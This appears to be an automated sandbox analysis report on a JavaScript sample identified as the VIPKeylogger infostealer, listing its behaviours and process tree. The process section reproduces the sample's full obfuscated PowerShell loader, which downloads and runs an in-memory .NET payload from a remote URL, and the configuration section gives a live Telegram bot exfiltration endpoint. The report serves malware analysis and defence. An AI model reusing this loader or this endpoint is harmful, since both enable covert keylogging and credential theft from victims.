Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 03:16
General
- Target Velimed_Group_Booking.js
- Size 1.0MB
- Sample260820-dsm6msyfna
- SHA256 dfdd7bb776c5875ea750bdbcb5a4f00d56b3d219aa50d229fc7047f90d2c0419
Malware Config
Extracted
-
ps1
-
exe.dropper
https://long-wildflower-b4f5.gustavosoftware.workers.dev/
Extracted
-
vipkeylogger
-
https://api.telegram.org/bot8690461120:AAFZn16zpaFYhkHVuADufcddzABHlICIrXo/sendMessage?chat_id=7388953110
Signatures
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Velimed_Group_Booking.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$Rhadamanthine=''https://long-wildflower-b4f5.gustavosoftware.workers.dev/''; $guaiakinoltepileptic = [System.Net.HttpWebRequest]::Create($Rhadamanthine); $guaiakinoltepileptic.UserAgent = ''Mozilla/5.0''; $metapepsis = $guaiakinoltepileptic.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($metapepsis); $precache = $reader.ReadtoEnd(); $lappering=''IN-''; $fuero=''-in1''; $glycols=[string]::IndexOf($precache, $lappering); $boskopoid=$precache.LastIndexOf($fuero); if($glycols -eq -1 -or $boskopoid -eq -1){return}; $aprosmictus=$glycols+$lappering.Length; $uncapping=$precache.Substring($precache.IndexOf($lappering)+$lappering.Length, $boskopoid-($precache.IndexOf($lappering)+$lappering.Length)); $tibit=$uncapping.Replace(''*'',''A'').ToCharArray(); $morphogens = -join $tibit[($tibit.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($morphogens)); $fakers=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $mornward=$fakers.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $tenerity=(''2dvGP4EA9nu1rBRU3xVKbNtKHunFGF0QkXFNi7DwNmF0U6Vwl2WnYZvhaPmR3OvY6Zi/SyqS9npMnyk3JRq1p9ggYt71DsrS2/lnIwhbE94='','''',''oK6WLFyQ5Zqo1cH4+YMgKIPg86w9gQgEvjSpR6ITk/hQ1kkSkKhuKAU1odPbhjQB'',''2b1iHFir+g0V+5nn1FBhZYyWZnzCVkD4UBc+zGE3qfk='',''fYg6NiLzzxkdoIEFsji+VGTB7IKBEgOuB1VzorHCkAo='','''',''iQ4pCEg8xLmFC10NSKm4i46z3kJGZgJUetp59j8cJCg='','''',''RDAy+RzEmKk6Qf9p0Kz0LSThIc2hX4VhGSqP6bzH84o='',''bCbCal23AFPtbHSDVbT2aTE7VwkyZG4N9JhP7QzWKAL2F6cYo+1F/iUc0oPorAFK'',''IpeSuZaScIQJ3qTuEWor1+WlPDfbCJAI0LK2/k+LYCw='',''cbnzT30IQ7QXJosIKtKDIoJHgICT5PEqwXz0XHn4m08='',''73glXKdFpz3Ko0Z42UV1Lakaqj9M9cEDMMSPjEIJSsg='','''',''+lYJcqZey8KxATZ6kT/V7c8d+qeGVULdJlN88sTzFuM='',''FtnVNq4ULU7e92Fh2+3KngQGI1MvyAQK4f+1fPJuDRo='','''','''',''''); try{$perchery=($mornward.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($perchery.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$tenerity)}catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5508-20-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5508-33-0x0000000006D10000-0x0000000006D1A000-memory.dmp
memory/5508-32-0x0000000006F10000-0x0000000006FA2000-memory.dmp
memory/5508-31-0x0000000007440000-0x000000000796C000-memory.dmp
memory/5508-30-0x0000000006BD0000-0x0000000006C20000-memory.dmp
memory/5508-29-0x0000000006D40000-0x0000000006F02000-memory.dmp
memory/5508-28-0x00000000747D0000-0x0000000074F8C000-memory.dmp
memory/5508-27-0x00000000747E2000-0x00000000747E3000-memory.dmp
memory/5508-26-0x00000000747D0000-0x0000000074F8C000-memory.dmp
memory/5508-25-0x0000000005A70000-0x0000000005B0C000-memory.dmp
memory/5508-24-0x0000000006030000-0x00000000065EA000-memory.dmp
memory/5508-23-0x00000000747E2000-0x00000000747E3000-memory.dmp
memory/7056-9-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-11-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-16-0x000002A420630000-0x000002A42063A000-memory.dmp
memory/7056-17-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-18-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-14-0x000002A438D00000-0x000002A438DD0000-memory.dmp
memory/7056-22-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-13-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-12-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-15-0x000002A438BD0000-0x000002A438BE2000-memory.dmp
memory/7056-10-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-0-0x00007FF9348CF000-0x00007FF9348D0000-memory.dmp
memory/7056-8-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-7-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-6-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-5-0x00007FF934740000-0x00007FF9350E4000-memory.dmp
memory/7056-4-0x000002A420590000-0x000002A4205B2000-memory.dmp
memory/7056-3-0x00007FF934740000-0x00007FF9350E4000-memory.dmp